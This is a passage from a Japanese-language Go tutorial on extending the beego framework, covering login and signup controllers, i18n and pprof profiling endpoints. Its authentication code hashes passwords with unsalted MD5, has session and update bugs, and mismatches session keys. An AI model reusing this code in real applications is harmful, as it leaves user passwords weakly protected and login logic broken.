    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
    password := this.Ctx.Request.Form.Get("password")
    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)
    if userInfo.Password == newPass {
        var users models.User
        users.Last_logintime = now
        models.UpdateUserInfo(users)

        //ログイン成功でsessionを設定
        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)

        this.Ctx.Redirect(302, "/")
    }
}

//サインアップ処理
func (this *RegController) Post() {
    this.TplNames = "reg.tpl"
    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
    password := this.Ctx.Request.Form.Get("password")
    usererr := checkUsername(username)
    fmt.Println(usererr)
    if usererr == false {
        this.Data["UsernameErr"] = "Username error, Please to again"
        return
    }

    passerr := checkPassword(password)
    if passerr == false {
        this.Data["PasswordErr"] = "Password error, Please to again"
        return
    }

    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)

    if userInfo.Username == "" {
        var users models.User
        users.Username = username
        users.Password = newPass
        users.Created = now
        users.Last_logintime = now
        models.AddUser(users)

        //ログイン成功でsessionを設定
        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)
        this.Ctx.Redirect(302, "/")
    } else {
        this.Data["UsernameErr"] = "User already exists"
    }

}

func checkPassword(password string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok {
        return false
    }
    return true
}

func checkUsername(username string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok {
        return false
    }
    return true
}

ユーザのログインとサインアップがあって、その他のモジュールでも以下のようにユーザがログインしているかどうかの判断を追加することができます：

func (this *AddBlogController) Prepare() {
    sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
    sess_uid := sess.Get("userid")
    sess_username := sess.Get("username")
    if sess_uid == nil {
        this.Ctx.Redirect(302, "/admin/login")
        return
    }
    this.Data["Username"] = sess_username
}

Generated by md2min

14.5 多言語サポート

i18nの導入

多言語開発の使用

第10章において国際化とローカライゼーションおよびgo-i18nライブラリの開発についてご紹介しました。この節ではこのライブラリをbeegoフレームワークの中にもってくることで、我々のフレームワークにおいて国際化とローカライゼーションをサポートさせます。

i18nの導入

beegoにおいて以下のようにグローバル変数を設定します：

Translation i18n.IL
Lang        string  //言語パッケージの設定、zh、en
LangPath    string  //言語パッケージのパスを設定

多言語関数を初期化:

func InitLang(){
    beego.Translation:=i18n.NewLocale()
    beego.Translation.LoadPath(beego.LangPath)
    beego.Translation.SetLocale(beego.Lang)
}

テンプレートにおいて直接多言語パッケージをコールできるよう、３つの関数によって対応する多言語を設計します：

beegoTplFuncMap["Trans"] = i18n.I18nT
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate
beegoTplFuncMap["TransMoney"] = i18n.I18nMoney

func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Translate(s)
}

func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Time(s)
}

func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Money(s)
}

多言語開発の使用

言語および言語パッケージのパスを設定します。その後i18nオブジェクトを初期化します:

beego.Lang = "zh"
beego.LangPath = "views/lang"
beego.InitLang()

多言語パッケージの設計

上ではどのようにして多言語パッケージを初期化するかについてご紹介しました。今から多言語パッケージを設計します。多言語パッケージはjsonファイルです。第10章でご紹介したのと同じように、設計する必要のあるファイルをLangPathの下に置きます。例えばzh.jsonまたはen.jsonといったものです。

# zh.json

{
"zh": {
    "submit": "送信",
    "create": "新規作成"
    }
}

#en.json

{
"en": {
    "submit": "Submit",
    "create": "Create"
    }
}

多言語パッケージを使用する

controllerの中でコンパイラをコールして対応する翻訳言語を取得することができます。以下に示します：

func (this *MainController) Get() {
    this.Data["create"] = beego.Translation.Translate("create")
    this.TplNames = "index.tpl"
}

テンプレートの中で直接対応する翻訳関数をコールしてもかまいません：

//直接テキスト翻訳
{{.create | Trans}}

//時間の翻訳
{{.time | TransDate}}

//通貨の翻訳
{{.money | TransMoney}}

Generated by md2min

14.6 pprofのサポート

beegoはpprofをサポートしています

使用方法

Go言語のとても良い設計は、標準ライブラリにコードの性能監視ツールを有することです。２つのパッケージがあります：

net/http/pprof

runtime/pprof

実はnet/http/pprofではruntime/pprofパッケージを使ってラップしているだけで、httpポートで現れるだけなのです。

beegoはpprofをサポートしています

現在beegoフレームワークはpprofを追加しています。この特徴はデフォルトで起動しません。もし性能をテストしたり、対応するgoroutineの実行といった情報を確認したりする必要があれば、Goのデフォルトパッケージ“/net/http/pprof”にはすでにこの機能があります。例えばGoのデフォルトの方法でWebを実行すれば、デフォルトで使用することができます。しかしbeegoはServHTTP関数をラップしていますので、もしデフォルトのパッケージをそのまま使っているのであればこの機能を起動することはできません。そのため、beegoの内部で改造を施し、pprofをサポートさせる必要があります。

まずbeego.Run関数において変数によって自動的に機能パッケージをロードするか決定します。

if PprofOn {
    BeeApp.RegisterController(`/debug/pprof`, &ProfController{})
    BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{})
}

ProfConterllerを設計する

package beego

import (
    "net/http/pprof"
)

type ProfController struct {
    Controller
}

func (this *ProfController) Get() {
    switch this.Ctx.Params[":pp"] {
    default:
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "":
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "cmdline":
        pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "profile":
        pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "symbol":
        pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
    this.Ctx.ResponseWriter.WriteHeader(200)
}

使用方法

上の設計を通して、以下のようなコードによってpprofを起動することができます：

beego.PprofOn = true

次に、ブラウザで以下のURLを開くと以下のようなインターフェースが現れます：

図14.7 システムの現在のgoroutine、heap、threadの情報

goroutineをクリックすると詳細な情報を得ることができます：

図14.8 現在のgoroutineの詳細情報を表示

コマンドラインから更に多くの詳細な情報を得ることもできます

go tool pprof http://localhost:8080/debug/pprof/profile

この時、プログラムは30秒のprofile収集時間に入ります。この時間内に必死にブラウザ上のページをリロードし、なるべくcpuを専有させてデータを生成します。

(pprof) top10

Total: 3 samples

   1 33.3% 33.3% 1 33.3% MHeap_AllocLocked

   1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors

   1 33.3% 100.0% 1 33.3% runtime.sigprocmask

   0 0.0% 100.0% 1 33.3% MCentral_Grow

   0 0.0% 100.0% 2 66.7% main.Compile

   0 0.0% 100.0% 2 66.7% main.compile

   0 0.0% 100.0% 2 66.7% main.run

   0 0.0% 100.0% 1 33.3% makeslice1

   0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP

   0 0.0% 100.0% 2 66.7% net/http.(*conn).serve

(pprof)web

図14.9 デモの実行プロセス情報

Generated by md2min

14.7 まとめ

この章は主にどのようにしてbeegoフレームワークにもとづいて展開を行うかについて詳しく述べました。これには静的なファイルのサポートが含まれます。第1節では静的なファイルでは主にどのようにしてbeegoを利用して素早くウェブページを開発するか、bootstrapを利用して美しいサイトの作成についてご紹介しました；第2節ではどのようにしてbeegoにおいてsessionManagerを構成するかについてご紹介しました。これはユーザがbeegoを利用した時に素早くsessionを利用するのに便利です；第3節ではフォームとバリデーションについてご紹介しました。Go言語のstructの定義に基づくと、Webを開発する過程で重複する作業から解放されます。また、バリデーションを追加するとできるかぎりデータを安全にすることができます。第4節ではユーザの認証についてご紹介しました。ユーザの認証は主に３つの需要があります。http basicとhttp digest認証、サードパーティ認証、カスタム定義の認証です。コードを用いてどのようにして現在あるサードパーティパッケージからbeegoアプリケーションでこれらの認証を実装するのかデモを行いました。第5節では多言語サポートをご紹介しました。beegoではgo-i18nという多言語パッケージを使用しています。ユーザはとても簡単にこのライブラリを利用して多言語Webアプリケーションを開発することができます。第6節ではどのようにしてGoのpprofパッケージを利用するのかご紹介しました。pprofパッケージは性能テストに使われるツールです。beegoに対する改造を施した後pprofパッケージを使うことでユーザはpprofからbeegoにもとづいて開発されたアプリケーションのテストを行うことができます。これら6つの節を通して比較的健全なbeegoフレームワークを展開してきました。このフレームワークは現在の数多くのWebアプリケーションに十分対応することができます。ユーザは自身の相続力を継続して発揮することができます。私はここで簡単にいくつか重要と思われる拡張についてご紹介したにすぎません。

Generated by md2min